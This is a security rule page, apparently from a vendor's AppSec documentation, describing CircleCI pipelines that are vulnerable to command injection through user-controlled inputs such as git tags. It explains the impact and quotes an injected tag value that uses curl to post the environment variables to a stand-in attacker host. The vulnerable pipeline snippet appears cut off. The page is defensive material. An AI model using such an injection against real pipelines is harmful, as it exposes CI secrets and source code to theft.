> For the complete documentation index, see [llms.txt](https://cortex-docs.paloaltonetworks.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cortex-docs.paloaltonetworks.com/appsec-rules/ci-cd-security/input-validation/appsec-cicd-207.md).

# CirceCI pipeline vulnerable to command injection

## Rule Details

|                       |                   |
| --------------------- | ----------------- |
| Cortex AppSec Rule ID | APPSEC\_CICD\_207 |
| Category              | Input Validation  |
| Severity              | CRITICAL          |

## Impact

Pipelines are vulnerable to command injection attacks, in which arbitrary commands and scripts are passed through user controlled inputs such as pull request title, commit description etc., and are then referenced by the pipeline configuration file and executed in the pipeline job. When the pipeline job runs, the poisoned controlled inputs can be interpreted as code and executed on the runner, enabling remote code execution attacks to take place. This will allow the attacker to access stored secrets or to read or modify the source code. For example, the following code snippet is designed to print the associated git tag: steps:   - run: echo > Attackers can inject their own commands by creating the git tag value: `curl -X POST -d $(env) https://attacker.com/exfiltrate` After the pipeline is triggered, this string will be evaluated and executed in the context of the pipeline. As a result, the environment variables are sent to the attackers server.


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